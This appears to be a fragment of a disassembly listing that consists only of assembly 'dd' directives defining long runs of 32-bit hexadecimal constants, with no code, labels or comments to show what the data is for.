		dd 2DFB82B1h, 3AF363E9h, 8383039h, 11DE6A25h, 230964E8h
		dd 0A0AC1906h, 98C16F3Eh, 0B9CBC8AFh, 8EC01FA9h, 20EE7655h
		dd 18A74350h, 293AE22Ch, 0F004B929h, 0B36A77D4h, 0B43D1941h
		dd 0E25B5776h, 0F8371493h, 0F862317Bh, 25A33054h, 2877887Eh
		dd 1BA2ADEBh, 0A73C0C49h, 8CCE6C79h, 5A9EA3C5h,	61F00477h
		dd 222D30C1h, 0A3582DE4h, 0C298197Ch, 4E4DF092h, 67B78C8Ch
		dd 0D4CC5879h, 7D8B85h,	0E6F58924h, 1EE39654h, 519172EEh
		dd 0CE816DFAh, 0F57B0D49h, 5047DD14h, 56D3A412h, 16996B70h
		dd 0C96C96B8h, 0D6D4B84Eh, 4FE262B1h, 0A091B5A1h, 42CB746Ah
		dd 0C90829B9h, 0DAE9BCC0h, 0E6B15D98h, 1B7595E0h, 0B8D12EE5h
		dd 0F242CDFEh, 0A2C29B7Ch, 9853460Fh, 334D9D93h, 245C2B27h
		dd 74631E0Ch, 9E3897ECh, 0FC7C8798h, 789F9E02h,	0F53A1F17h
		dd 77561D02h, 0AE72051Bh, 711E97D2h, 0FCF6FC0Bh, 0C5AE357Bh
		dd 0DEDD6217h, 0C6E84B6Dh, 0A8DBED74h, 1AC0A3A6h, 0D315681h
		dd 0AE6F8EEDh, 17AFFABDh, 0C15EF146h, 0DE2D2FB6h, 0FAF4A796h
		dd 3B3F4824h, 0BAC04362h, 0F2DB06F3h, 0DDBE3D86h, 0F5F8A236h
		dd 5DF740BEh, 0AA48375Dh, 811357C5h, 0C4C8E5F8h, 165F2CF8h
		dd 7991BACAh, 12AF0B89h, 0BD4541F2h, 0E1DF18FAh, 20E4874Ah
		dd 945FC1D7h, 6C4A521Ch
		dd 21297D33h, 28C6FFC7h, 6E99167Ah, 0C426D4BCh,	918C24C0h
		dd 47CD83C5h, 0FC9CF713h, 5232785Ch, 7F70302Fh,	0AD32185Dh
		dd 64900DBCh, 89C0056Dh, 9DCE70B8h, 0F93153CFh,	0FAC2CA9Ch
		dd 8D57D15Bh, 0CD73E1C6h, 7730DD23h, 5AC75BE6h,	0AEC2130Bh
		dd 0E1F2BAA7h, 3C4C894Ch, 6278836Ah, 0A4E9D9C3h, 0F2E48A42h
		dd 59E26713h, 3C4890C6h, 41C03C69h, 2C70B1B1h, 383441BEh
		dd 0BD0F7F1Bh, 0F1F8CF4Ch, 16761FE4h, 889D2121h, 0B03004Fh
		dd 9C38A288h, 0EEBB94B5h, 0E3AF6CB6h, 0E2357A03h, 1867505Ah
		dd 9A787A95h, 7353FF95h, 0AF39363Ch, 4C09A764h,	0B69CD6h
		dd 3AC40744h, 141F9E95h, 3078A068h, 17DFCE33h, 14B07F4Ch
		dd 81D7691h, 449527CFh,	37A4C9CBh, 238F3A8h, 8DBD32C1h
		dd 0DB7A249Ch, 0EC3FEC1Dh, 4DAB3019h, 0D0E18ACBh, 0F94D0B7Ah
		dd 950E3CE3h, 0A5A90C38h, 51FCD1ACh, 7E666517h,	72CF524h
		dd 6B2747C8h, 85267335h, 80E45E1Fh, 41781FC1h, 0FBABA5CCh
		dd 0DE17B4B6h, 0E505F4CCh, 50A4F3C8h, 82DEFDD2h, 278CE080h
		dd 98F4D2B3h, 70FF1EF8h, 0EB41FC71h, 68E1A462h,	6B1C17EAh
		dd 2C32F0D1h, 234B16EEh, 0A46E48D9h, 0BB9F44DEh, 9FC0A558h
		dd 2BF4B4F2h, 782C5EC7h, 0BAD9B940h, 0D74E908Bh, 0F27CA970h
		dd 88BFA43Bh, 0EEB36FD2h, 0C1C9502Ch, 0F552B795h, 549FADEEh
		dd 5F8A1BBEh, 808C4DBDh, 552F9B90h, 0F155466Eh,	9F22047Ah
		dd 0B44FA617h, 0E2E3CC73h, 97C58B16h, 38A9B757h, 2B0592Ch
		dd 5E4C1FADh, 0F81A96C9h, 0B399AC98h, 21F3B39Fh, 0B01ED71Ch
		dd 435429CDh, 0EE6111B8h, 128ADB18h, 383BE170h,	2AA728BBh
		dd 0C3A4388h, 9FBBA7BFh, 0EF994354h, 61DB48C8h,	7348E518h
		dd 0EE63209Fh, 94F3F4B2h, 0DD4206C2h, 3827A88Eh, 0C0660CD8h
		dd 7A83B4BBh, 0B2BD55C8h, 55E6AEB6h, 96374F66h,	0B5254729h
		dd 0F8499474h, 0A239291h, 43DCAFE3h, 6F5827F4h,	0A6346EFEh
		dd 0C021108Bh, 0DA079558h, 21544D07h, 0EA33DE1Eh, 0B26D8CC1h
		dd 0E79FE392h, 97735BF9h, 0E76314ECh, 0BF6D53E9h, 0A0B71F82h
		dd 1745E46Dh, 0F5D51D91h, 4EFE178Fh, 0F96F5BA3h, 0B41ADD0Ch
		dd 7EAA6031h, 0D2FBB40Bh, 69BF7F94h, 3E62FA89h,	0FFAFB67h
		dd 0BC3B5ADBh, 8D014727h, 0E2BE8971h, 0B473B731h, 3F3FEB36h
		dd 0CC59FF4h, 30C0713Fh, 43AD832Bh, 4E31EE47h, 2F0C064Eh
		dd 0A4749256h, 0C981D69h, 8865D65Ah, 0BC6B42B0h, 0B499E5A5h
		dd 0A9A5A4B9h, 0CDBE5F31h, 7D343106h, 2FC7E547h, 0D607062Ch
		dd 3932DEBAh, 802990F8h, 43B2F9B0h, 0E5716793h,	119A459Bh
		dd 0DB13A08h, 0D0FE4F9h, 18982D28h, 0B08B2BDBh,	0B0FB45F3h
		dd 0F08B7765h, 17650A77h, 0AB9BBEF9h, 0FC05F5B1h, 0B617A432h
		dd 0C8F3F0Dh, 728CFF41h, 922D5F9Dh, 52111493h, 8851613h
		dd 0CF0780A4h, 0FFC89F95h, 33D9EE30h, 0CBBE75ACh, 0C4230541h
		dd 7CBE3059h, 54154915h, 0B4276C1Dh, 859CCF2Bh,	13736CA9h
		dd 6306B3B8h, 0FB484A16h, 7E0470F9h, 6C04964Ah,	0BDCAF88Eh
		dd 0F3EB599Dh, 153DCD5Dh, 4E3FD0C3h, 4016404Eh,	3FC0F438h
		dd 5C5E436Eh, 0C3EA7662h, 0C24FD122h, 0DFF4EEBBh, 0CEAF46F6h
		dd 0D5947C7h, 0AFC6CCB6h, 3EE4DE2Ch, 0CCB0C8A5h, 41D881A2h
		dd 0E95AB767h, 0B27FF31Eh, 480615B7h, 5F06F058h, 0D85B90EEh
		dd 370FDBC2h, 502BFD38h, 0F2B7688Eh, 0BC8B9386h, 0BBD9D6B8h
		dd 0C75A7FABh, 64195DF6h, 0FD3D8951h, 66685CBCh, 0C5FA85C0h
		dd 0D78234D2h, 50907A90h, 964F583Bh, 0F75CD1C3h, 0B7ADA050h
		dd 0E73FB770h, 82323F52h, 62D5DAD2h, 5F6E8781h,	0DEC73784h
		dd 0F0E36876h, 6B9D8E09h, 0B40AB69Bh, 0B1AF1AE8h, 0C7AB14F6h
		dd 0DA0B540h, 0E896C4A5h, 7F0A555Ah, 518B4993h,	2BE0E04Dh
		dd 558ABA3Eh, 2C88570h,	0CAC588B0h, 6ABC07E7h, 6114A46Ah
		dd 41D44B28h, 0C4672895h, 0D6EA32E7h, 5AC75254h, 3EEC280Ah
		dd 657DC95h, 0B5C8E265h, 22E5EC1Ah, 0BB664A89h,	6107E190h
		dd 820F8AC1h, 9FBEA6E2h, 175823E1h, 0BD3266F7h,	45371FC3h
		dd 61901054h, 86AFC5CEh, 1DD2313h, 40578D1Fh, 75DC1A33h
		dd 1AFF5F7Eh, 106AE4FCh, 0A7869535h, 58622A43h,	1D80CEDh
		dd 4654D2F1h, 2500EDA1h, 3638E9B7h, 61473D16h, 96B01F5Bh
		dd 6698DEB2h, 9FDDEE6Bh, 971F5810h, 535A37C3h, 74CCE31Fh
		dd 6989079Dh, 0B2DDAB65h, 391F7601h, 36C67BEAh,	0D8391E4Eh
		dd 0C6FC628Eh, 2061DE25h, 35971864h, 49AE3018h,	0B28533Dh
		dd 0D4D7EBB3h, 87FD4CBEh, 451ED1EBh, 8E80A987h,	9ED1F993h
		dd 24FF5CFFh, 633BDEAAh, 38335CBBh, 7F587146h, 180746B8h
		dd 0F34C1096h, 1FD5FA9Fh, 3EF69EDBh, 0CCEA4BF2h, 93D354ABh
		dd 0E4926F64h, 0CB75E2E6h, 83E5688Fh, 6696E407h, 43F9FB99h
		dd 0EB7DAD76h, 459FB906h, 140CBF3Ch, 0DC66B3D6h, 0D535B9E8h
		dd 0E65934FDh, 3B5E4FF6h, 674DF7D3h, 59377A3Dh,	0A9D2542Eh
		dd 0CBCF08B8h, 0B10AA384h, 54880875h, 0C8A4EC4Ch, 5001E2BAh
		dd 0AE4A0833h, 3DDDAC33h, 0CB148E52h, 96F62DE3h, 5225D5F2h
		dd 18EC593Fh, 50B4949Eh, 0F865EE02h, 9E912B68h,	97415221h
		dd 0A33A12Ah, 0BE28692h, 0EBC3126Fh, 7238E600h,	75D332A8h
		dd 5F6323DDh, 3B35C4FAh, 4A736A59h, 0B0536F45h,	75D58B7Ah
		dd 88F1CC11h, 7AAAAD4Ch, 418075CEh, 0D7763AD9h,	45B06DF2h
		dd 0FE50D48Ch, 0FFF7EF18h, 0F5A8D171h, 0EBBBE61Ch, 160D9237h
		dd 0EB2387DFh, 50990D89h, 0EA6FB2B2h, 4C2CC401h, 0FE058450h
		dd 0BAB29DF5h, 440EB379h, 32824C42h, 11248811h,	5BBFEEC4h
		dd 82CD4857h, 23B5D911h, 1A4F799Ah, 6B186ADAh, 7E6E7CFBh
		dd 8CF9A41Bh, 5CBF74Dh,	8E907DE7h, 6A5818E1h, 0F8D6B062h
		dd 9EEBB7E9h, 0E5226868h, 5BDCD3DEh, 3FB3FC38h,	894D3536h
		dd 750671F2h, 0FA5EAC21h, 436C9389h, 0D58A2945h, 252B35A6h
		dd 523EB7E6h, 492D34AAh, 0D6864E05h, 6E74DDA8h,	0E84AEA56h
		dd 896D49ACh, 23E1FC0Bh, 0E3822862h, 46181D72h,	0B91AD2C2h
		dd 0C6CE6693h, 3ADB559Bh, 3D17899h, 77B0C92Eh, 0D02D4AC6h
		dd 0B252A7Dh, 0D700B573h, 0F9752FBDh, 38588041h, 0AA995665h
		dd 9176C7DEh, 6D093497h, 0C5468E1Dh, 0E3261BBAh, 19A5DF78h
		dd 104A014Ah, 8A5449ACh, 0A42094DFh, 0C8B8883Fh, 4323AF9Eh
		dd 921BC08h, 0CBE26587h, 7F9972F2h, 14F7450Ch, 6F519AE7h
		dd 0B784B450h, 7AD0A5Eh, 29B8787h, 36AFF6C8h, 7F5A4E2Ch
		dd 97620400h, 0ACCF689Eh, 9EF449CBh, 0B17655B5h, 1A3D97D9h
		dd 45E7D980h, 3CF32DAh,	0EBAE91D5h, 0E8504C37h,	322C041Fh
		dd 8B093669h, 0D9397188h, 27D469D1h, 0A89DFC3Ah, 185497DEh
		dd 412B3A2Eh, 59290CB1h, 7E0095E4h, 259EA38Eh, 484BB22Eh
		dd 0C371E69Bh, 2F870F63h, 0EF814467h, 3E46AC30h, 9B0AB4B3h
		dd 64D9520Ch, 0E7EB80E4h, 22A8600Ch, 8032AA2h, 11ECA2AEh
		dd 31650696h, 0CA021633h, 1D096158h, 0E8CF3281h, 0CBB3F9F9h
		dd 82C2B17Bh, 0D184444Ah, 0B1ED6AEBh, 0CF325689h, 0F346D3BAh
		dd 0C85F1292h, 57200FE6h, 8DA2F3D3h, 89840F0Bh,	0AB8081FEh
		dd 9D5D0384h, 8CAB2399h, 0C0D145F6h, 0F20B4354h, 1AE803D4h
		dd 0C2E5E92Eh, 24E7F7AEh, 0D791CEB7h, 7D685196h, 0D4662F64h
		dd 41759F1Ch, 7566C8A1h, 0AD201FE5h, 17565443h,	0C46E4E93h
		dd 0C733D782h, 3C6FAFF6h, 0AD186386h, 0D023E1D0h, 0A9AB32B7h
		dd 88F4B7F6h, 7164A3C3h
		dd 7116BFA9h, 88EAE148h, 2EAB488Bh, 8994702Ch, 472B0305h
		dd 8751CEF9h, 7859CB0Ch, 2AB219E4h, 3D002594h, 958C8A42h
		dd 0C50A69h, 91861B02h,	51CBF143h, 1F23934Dh, 46C411AFh
		dd 0D0043FB8h, 570C9B2Bh, 0D1F3EA0Bh, 0E75256D8h, 55252D0Dh
		dd 0ABAB3980h, 0B4033FC9h, 48A2EAEBh, 6D3D76B7h, 2F1B6DC0h
		dd 0AACAC05Ah, 229A8C7Fh, 4E3A71D2h, 3F270E49h,	50B15B79h
		dd 6B0A077h, 6FE6513Ah,	4BBEE28Ch, 985F7294h, 0E393AA09h
		dd 348BC99Bh, 0CDA68871h, 47AA5036h, 1910B7A7h,	43E3EA19h
		dd 0E5ECDF0Ch, 0D9F8AD3h, 3D648BECh, 0FDEB79ADh, 1152717Ah
		dd 0C4AEA878h, 706AD921h, 9B1AE6E0h, 6C9808A5h,	66B94DA3h
		dd 17D9204Eh, 0F35664B0h, 84C447D2h, 50FDB24Dh,	9EE699D8h
		dd 2F17B985h, 7C3624A3h, 281796E5h, 9C944DC2h, 0CE412A50h
		dd 0DFDADEFDh, 5CBFA9B4h, 1770F52Ch, 0A5BEAD7h,	1232D946h
		dd 0CDB3819h, 0B17EDF4Bh, 1A9145B4h, 6BEB2C38h,	5DBC26Fh
		dd 7512B1B2h, 1809249Fh, 0DADB0DECh, 4531062Fh,	0A3FB68CEh
		dd 0F441C890h, 0A7D49362h, 8E9C03B0h, 0A8D68BF6h, 0D732153Fh
		dd 67D47EF5h, 703164A9h, 21A1DD74h, 0CF0533EEh,	4C5B1043h
		dd 6E8107C4h, 4B8964EBh, 1BCA469Dh, 409F0BD7h, 25E905BAh
		dd 69ADCAFAh, 0FFDA0A60h, 6983E918h, 0A4969B45h, 1032C383h
		dd 1F60A7A8h, 3311CBB0h, 4715E39Eh, 0C5D61232h,	0F46104A2h
		dd 3B444E5Dh, 0C07AD05Ch, 0A9B92CBAh, 18BA007h,	5BDC3EADh
		dd 0A3A51C54h, 190BF7A6h, 1CC11AE8h, 962EE510h,	2E4B5E8Ch
		dd 50CFB1B4h, 0AB06F48Dh, 27C4709Ch, 616A1B3Fh,	88F811D8h
		dd 959685F2h, 0A498E1B7h, 8A91FDD3h, 59F09350h,	0DB976A9Fh
		dd 4772394Ah, 0A441E7FBh, 7B9EB106h, 84CBBDE6h,	447D6568h
		dd 0A1331A47h, 0BCE9DE8Ah, 5316E869h, 2CBCCCE3h, 0ACFF824Fh
		dd 43A67890h, 861759BBh, 255BF668h, 71B6060Ch, 62591A25h
		dd 0C0DB79C5h, 5C1EECF6h, 4AC2E64Eh, 74EB387h, 986022h
		dd 0DAED3770h, 7AE57806h, 1469E677h, 0DAE07034h, 5CB91F2Dh
		dd 0EBFC1457h, 0EA42E96Ah, 931DDC26h, 3EE9ED5Eh, 25E01EABh
		dd 95B5FC69h, 27A57C7Ch, 3F26FCA3h, 0ED33792Ah,	0BC70EDCCh
		dd 29F8B5E7h, 0E0BB7C49h, 0C329A210h, 435A6133h, 563B1F6Ah
		dd 9FCD3093h, 2247F49Dh, 0BFFA374h, 18C03BE1h, 8388071Bh
		dd 0E7AEF1ECh, 8891B7A2h, 3718A9B9h, 0C6EFE464h, 0AD878EEDh
		dd 10C93E61h, 0FFDD6BB2h, 17E3FCD6h, 8914D225h,	3243017Fh
		dd 0C08D3D47h, 0F38A18E3h, 0D18B6D3Ah, 5544153Fh, 0D55D8830h
		dd 0EF215924h, 0F1A862FAh, 0BFE2299Eh, 5C835D60h, 36E877A0h
		dd 9B830D8Ah, 6BBF9DE5h, 0A2555E7Dh, 0B7289818h, 0AD6EFB4Dh
		dd 5FBA7A26h, 54B582E7h, 0BA5F2711h, 42EF8EC6h,	214CC88h
		dd 7A9AA280h, 6618AB29h, 5C499372h, 0BBB33DF5h,	317A991Dh
		dd 5BCAEF9Ch, 55B8E80Ch, 0A6EE96CDh, 2B317C89h,	5F3B4B0Eh
		dd 0D8126FA0h, 1EB3BAA6h, 0C79879BCh, 54CF0B0h,	0AC493BB3h
		dd 0E7493846h, 1892E3Bh, 254B45BBh, 8A955AFAh, 0D584CBDEh
		dd 0EC4C3E9Ah, 0F25F4319h, 0BFD7462Ch, 1A5EF71Eh, 5FE90EBh
		dd 0EC61DB9Ah, 0F22B55F8h, 2B9D2406h, 98BB4006h, 0FC9977ECh
		dd 93245612h, 0CEF850CFh, 6DD53F35h, 0A3223A75h, 245CF05Bh
		dd 0E856EB60h, 0AFF869FAh, 36691343h, 0CEA80505h, 0B52E1547h
		dd 47BF0827h, 9189CE1Dh, 0DFB6D43h, 0CC711C00h,	9802ED06h
		dd 0AAD461ABh, 0E899CC9Ch, 3DF6AE4Bh, 0BD68D5Ah, 0ACF944ADh
		dd 0FD7249DFh, 0EE3AD7DFh, 0B4FEA0E4h, 59C9C0FBh, 17813EC5h
		dd 0CCC8566Dh, 202571A6h, 5E22A212h, 9B430770h,	77FE135Ah
		dd 346CA32Ch, 0D3995F5Ah, 0F7CF9C01h, 517583B5h, 0FFC742E2h
		dd 228E4DA7h, 0C50AFE60h, 0ED8A2007h, 0C9125DB9h, 96BAD70h
		dd 90A3FD65h, 12A244EFh, 0A61DCE48h, 6F62071Fh,	9EBAB422h
		dd 0AD506D7h, 2870A328h, 0E758B4FDh, 83FEEDEDh,	0A05AB05h
		dd 0DB900830h, 0C6FD3A32h, 50BD014Bh, 2BA6A425h, 3A822683h
		dd 42E62800h, 518843FBh, 0BE649C15h, 2B3C95E7h,	0BD693C44h
		dd 0F5A180A9h, 9F73C8C4h, 4C1D2D8Ch, 1FE05D7Fh,	0B4DF5A35h
		dd 0D058B1BEh, 11008CB8h, 0BFEEF8C3h, 8C15BC69h, 73B50374h
		dd 815F56BDh, 0DFEB11F3h, 8BCD91A7h, 9953C216h,	0DB78E8A8h
		dd 0BF5504A9h, 747F8262h, 38679260h, 0F31AFBD7h, 345A464Eh
		dd 267ABA9Ah, 114B3B1Ch, 0BB85384Dh, 69459A89h,	6B9C694Ch
		dd 0C512EFEEh, 0C7B72D45h, 0A98CEADCh, 0CBAD30EEh, 79B41AFh
		dd 0C520B53Ah, 0CC042D5Ch, 0C36D0818h, 0B58B46B1h, 0F7930C37h
		dd 7C0D8A3Bh, 0EDF82415h, 99DC48F8h, 8D868350h,	63C85153h
		dd 1CF9DD6Fh, 0AACBCABh, 80238F7h, 5B730A6h, 3863DA83h
		dd 42E90506h, 115B0C06h, 30591F4Ch, 0F88EF59Eh,	98701E6Fh
		dd 0D3491662h, 0F308C015h, 0C3D9F04Eh, 4649030Dh, 8A3DD9E2h
		dd 1A42E924h, 7CC002Ah,	467E0B90h, 0AF2B05D2h, 8415F585h
		dd 85E12ADDh, 409A6F7Ah, 84765D8Ch, 0BFC22436h,	0EAFC2E11h
		dd 745DC4E0h, 0A1A80DEDh, 0C84D5CACh, 0A77257A8h, 36D77E55h
		dd 0BF3E44A9h, 66E67AFFh, 2FBB7AEAh, 3E6375AAh,	0C6A0D6DBh
		dd 0D923F44Ah, 49ED7B73h, 47975686h, 81A9BCF7h,	0AC68141Bh
		dd 0C46BDFEDh, 0B07B4968h, 15FD951Ah, 3D819EB1h, 5D58B146h
		dd 0F8C14CB2h, 0EB20D68Bh, 5E7FE614h, 0DCD6B5Ah, 0A0FB336Ah
		dd 96FEB9B3h, 0B75A3645h, 1B973F2h, 5769AD8Bh, 7716A223h
		dd 963BFE5Dh, 29A5DBA4h, 77ABC87Eh, 839C6635h, 41B1A5D5h
		dd 6A6EA2FEh, 66F1C582h, 80A64C7Ah, 0BAE2718Ch,	7DA99EA8h
		dd 0AF0EB0D9h, 0D7A53651h, 0D61FF6D3h, 4CF0A9D0h, 49481553h
		dd 0FAA1CAAFh, 0E3A10E65h, 0C70BE00Bh, 394C8E5Fh, 0D4EFD51h
		dd 0C40D0698h, 3363B926h, 9C5E4D33h, 0CB0C8F06h, 0F57BB5C8h
		dd 8C00E310h, 5E43CDF7h, 0CBCA6CE6h, 645806Fh, 78213AC8h
		dd 45DF93ABh, 65BF72BAh, 4E932597h, 8DCC223Ch, 63AC34AAh
		dd 0D8454E76h, 0E53816F9h, 672DF40Ah, 65E1CA94h, 156C9233h
		dd 25DCAD98h, 9EB9128Bh, 2D01E326h, 783CEE83h, 9485E7FBh
		dd 56FFBB78h, 0BDD77588h, 4E17D9E2h, 0FA35F654h, 0C6DB3DA3h
		dd 5E96E643h, 91307C42h, 0DBD936B4h, 8823903Ah,	501C973Fh
		dd 0C364567Ch, 8E5010A4h, 98C037ECh, 8C0F5943h,	85B16B32h
		dd 0E6CC312Ah, 0D2FE59B5h, 2CA78F99h, 6F4D5BDCh, 0D1049C6Dh
		dd 1EEF087Dh, 15F960C3h, 39ED279Eh, 1977E44Ah, 8A29541Bh
		dd 0A2144EE5h, 76EEBCC0h, 8F6E6E40h, 547273B0h,	249B50B6h
		dd 0BCD53EA0h, 0ED450A12h, 0B7791E9Ch, 0B8844095h, 0A6B0E860h
		dd 0CA39D261h, 11AA1554h, 0AF992107h, 100BD53Ah, 33B122DDh
		dd 2DD0E151h, 846A2BB0h, 706B36Eh, 0E38CBC9h, 3677D480h
		dd 4FF58B67h, 0A3371E93h, 66B6E5B2h, 734260CCh,	0DAE586CAh
		dd 0A0623CDDh, 0A4A6CF63h, 0BDE84D6Ch, 0EE1A49CEh, 43062951h
		dd 9630993Dh, 0A16424Dh, 0E7C88716h, 7D43215h, 62B6A69Bh
		dd 465C72h, 0E01DF627h,	0A4072C6h, 3DEA31C5h, 0D3A2F676h
		dd 9915F29Ah, 0C43405FAh, 7B838623h, 84ED5F7Fh,	2C63CF72h
		dd 0D82756C4h, 5A10F9C5h, 51C4F454h, 3A1569F3h,	7F6FFD09h
		dd 88FBD4F6h, 5344BC2Dh, 0D227DD53h, 0F4F37B4h,	0D428C952h
		dd 9D5F0AC7h, 0FC016E92h, 0EB642A37h, 0CD31F3D3h, 722C34C2h
		dd 40A2399Dh, 15C9BD4Dh
		dd 0F5B17561h, 2BA7A517h, 0D189684Fh, 22FDD085h, 1697CED0h
		dd 0F1ABABF9h, 0A33B6D0Eh, 56F69F45h, 1A1153E0h, 0F64BEFC3h
		dd 7C9F233Eh, 9A89677Bh, 0D33FB54Fh, 2C39988Fh,	3ED45A95h
		dd 60F56697h, 637DAD3Ah, 0F9533DBFh, 23C35F4Dh,	8C5DAD64h
		dd 0F3BCF5D8h, 597A0B55h, 53942950h, 3CD8288Dh,	4FC1F6DDh
		dd 0C8F5E08Bh, 72BE27ACh, 82FCE4E9h, 0C57A74E1h, 0D3F7D819h
		dd 0ED2545CBh, 0CAE8BBEBh, 0D82BC28Dh, 167D015Fh, 0D4A4C984h
		dd 0DA617611h, 1232C9DDh, 0E5B63ABEh, 1038836Bh, 4C39A606h
		dd 631B8404h, 0A5668A23h, 0F9DF868Fh, 3253377h,	4F92F6C0h
		dd 5511A2B4h, 4DB0469Ah, 9B835074h, 26D9D8C8h, 5BBFD7E2h
		dd 0BC47A71Fh, 0D5CCF7C2h, 0E803D205h, 2F233684h, 3C3B5CCEh
		dd 32A27CEh, 5592A8BCh,	3FEABD41h, 0D0044F99h, 712552BDh
		dd 664AB407h, 58325F74h, 1730FB24h, 13CA268Ch, 0BD7D80B1h
		dd 3D42BD16h, 78CA4C18h, 0FE6F4E45h, 4A1B460Dh,	1D5E23BFh
		dd 0CDBC1450h, 0AEF9781h, 8C58A31Ah, 0BEF3CAB3h, 5D6D2385h
		dd 10BB4DB3h, 8C47C7C1h, 0B53C1966h, 0B6347156h, 64DA4ADFh
		dd 483C8AD4h, 0F61A48B0h, 0F6D18E3Fh, 8B245D36h, 2A34744Ah
		dd 4171593Ch, 0C401B662h, 236C7D68h, 2464DECDh,	304F9D94h
		dd 0F5AB1D76h, 5BFAD3C5h, 515E03F7h, 7C2E8096h,	4F7E995Dh
		dd 2C9C2414h, 9714A561h, 8DF2922Bh, 0F7C8921Ch,	795B9990h
		dd 5AFEEC35h, 0C5B67125h, 0A0D36DCEh, 0CB20EFA5h, 7F543B5Ah
		dd 989DD8B4h, 0C57DA15Bh, 0FE9FE137h, 0D356B0B8h, 5C48FA92h
		dd 0B9252625h, 981A7431h, 1F6015B1h, 78972980h,	0C94599D1h
		dd 1FE4BE85h, 8A554299h, 0B3256090h, 0CDDA3590h, 0B72D2701h
		dd 7DA7E702h, 5B286D62h, 0B96E411Ah, 4C325F3Dh,	38A9C6D7h
		dd 23290A42h, 35F3481Ch, 8B2F5F58h, 77BF91F7h, 0B1EAE1FFh
		dd 93593CC9h, 7F74ED18h, 604814DCh, 0B6D630FEh,	254F7358h
		dd 328FD8CBh, 9E94D4ACh, 0BCBCC35Fh, 0A2082FBCh, 547A7E55h
		dd 7EFAEB28h, 0E7B85365h, 37F1FA2Ah, 3C54A438h,	0A96DC401h
		dd 9108A15Bh, 0DA8A13E8h, 0EF39CB57h, 4734F698h, 0D8CF72BCh
		dd 0FA7B3791h, 0AE814CC2h, 35333447h, 1923DB40h, 971A94CAh
		dd 0E5DA1591h, 70AD72B6h, 6D25D205h, 1950AB0Ch,	0CDFDE2DAh
		dd 0CF31425Ch, 0C959D5B5h, 43233351h, 12C29788h, 742EB49Dh
		dd 15DE2DEBh, 0CBF96A42h, 6B854EA4h, 38F060E3h,	3A81F3h
		dd 0EA5B386Fh, 0A897A450h, 3FAE888Eh, 0DC6AA1F4h, 8F73AAD2h
		dd 9A3C2F38h, 1A075E6Dh, 937048C7h, 24BDEDFCh, 0A7B6D2B5h
		dd 996F3406h, 30EB0F66h, 8484DB65h, 3AA7D2C6h, 28F56A5Dh
		dd 277B5378h, 0B9B7E917h, 6DEB4EC6h, 0B05C94A8h, 1DE93712h
		dd 172DB390h, 0EB3DE22Eh, 0E4F5D6A3h, 9B53424h,	11E02DF8h
		dd 7105E6AFh, 8BB23D3Ch, 3B4DD659h, 0F07106DDh,	189A059Eh
		dd 13C2E6F7h, 4EB7DA2Eh, 3A7F2C77h, 0FA340567h,	23160AECh
		dd 684C17DAh, 5F1E68Ch,	759159FBh, 2BA44630h, 0E43498E1h
		dd 94216E75h, 0FE82C832h, 3236499Bh, 0F83310B3h, 78EB7B3Ch
		dd 1DF9F62Ch, 7C8CDF08h, 0A2CCE069h, 8A53B7CCh,	66780C66h
		dd 0F6F777A4h, 0FFCCB178h, 48064E74h, 0DF2DC20Ch, 7C19EE84h
		dd 15470BF7h, 115D2BBEh, 0DAEACE17h, 0BEA5E44Dh, 58C58C48h
		dd 33FD38AFh, 3A69E033h, 19941EC2h, 0BDD91C16h,	0CC009FD1h
		dd 592BEA99h, 0F3E319B6h, 535C63CDh, 181DDF75h,	0BF712847h
		dd 4778D479h, 0C6901675h, 0A195B6B8h, 1C55CFD2h, 738FF221h
		dd 0A2A0E30Bh, 0C1B495ADh, 384C8491h, 0A4B48C45h, 84CF1CA6h
		dd 0C938321Dh, 8A12B3C2h, 243988B5h, 38FE191Bh,	53CE27B9h
		dd 0CCA53A9h, 458F822Ah, 0E7DB404Dh, 0A8B9BFBEh, 72AF9108h
		dd 0E107AF76h, 0D8330F9Eh, 0DEA09E7h, 0A5D2FC77h, 4B3EC2DDh
		dd 9351C157h, 35492218h, 6D8A1103h, 0F199E8FCh,	0F42D4C0Ch
		dd 0F9056354h, 6A22B1C6h, 77ACC5ECh, 50701053h,	0AB938D50h
		dd 598B8B0Ah, 89A98205h, 0D2C0FE72h, 32B12764h,	0F729138Ah
		dd 42CDD4D0h, 0EBA69154h, 7D90FF6Bh, 8EE06DA7h,	7549930Bh
		dd 0A39B492h, 8891CC6Ch, 8671FE06h, 41A6D08Eh, 1E4DAF3Bh
		dd 54DA5097h, 0DFD490FBh, 0BE000BC0h, 99145834h, 0AFD4C8D5h
		dd 57E0DD84h, 911A746Ah, 177C9EB0h, 0C2F535C0h,	0F7BC6964h
		dd 7776BC63h, 43FB9F3Ch, 94840096h, 0DF8D000Ah,	0AC1B428Ch
		dd 0C8EB87EBh, 9272FA73h, 4AD15C9h, 0B39B871Ch,	0A2368258h
		dd 0B0700C55h, 3339A763h, 0B65D458Eh, 47F513BAh, 0AEF6E919h
		dd 65765E39h, 35B2ED7Ah, 44851871h, 0D08D5A4Ah,	7CC11201h
		dd 0A8ABA1B2h, 7BB85AF5h, 836F3036h, 3CE5F63Eh,	0FBB14731h
		dd 4DDD0472h, 545CFB83h, 0C8523444h, 0E6E0B923h, 63305403h
		dd 0E0D1595h, 0BA426E06h, 0D71F24B8h, 7B86D04Eh, 38FC5C3Eh
		dd 634F40C3h, 0B4D7D976h, 5769F302h, 11F14CB4h,	5A411110h
		dd 0E584F75h, 2AA57C4Dh, 6B4F29F6h, 7F451199h, 5F46C531h
		dd 353F6C3h, 16C139FDh,	7B9A4B5Eh, 0EFCE987h, 150F8B53h
		dd 0C1D889ABh, 30249B21h, 0A351DB6Ah, 0BB3CD844h, 0A6E8FAD5h
		dd 1E0EEAE5h, 58C878F7h, 3A6C5080h, 0E3AC6278h,	0BF26E8F8h
		dd 0D1650D5Dh, 9FE070FCh, 533AE3B4h, 0BA889335h, 48298066h
		dd 1C5F06D6h, 0AB3E9A8Dh, 68CE024Fh, 0E19DA585h, 0A42340E3h
		dd 949005D6h, 0F45F82AFh, 0C07F21E7h, 83DC0701h, 0C30102C7h
		dd 7C393F06h, 3B237621h, 0BC7DAEB3h, 0F646CDD0h, 0EF234350h
		dd 0EECEA52Ch, 8CCCABEFh, 5623A78Dh, 4FE47538h,	0F357DAB3h
		dd 904FE872h, 4D743765h, 29CFF911h, 0C00E4405h,	2A43845Eh
		dd 1A08CEA3h, 0D9E3B5A8h, 0FC5AB78Eh, 0A73D0FA0h, 0C37F3D69h
		dd 458F308Ch, 3CC03CEBh, 0D2A104E0h, 0A815BF15h, 0BCB7705Eh
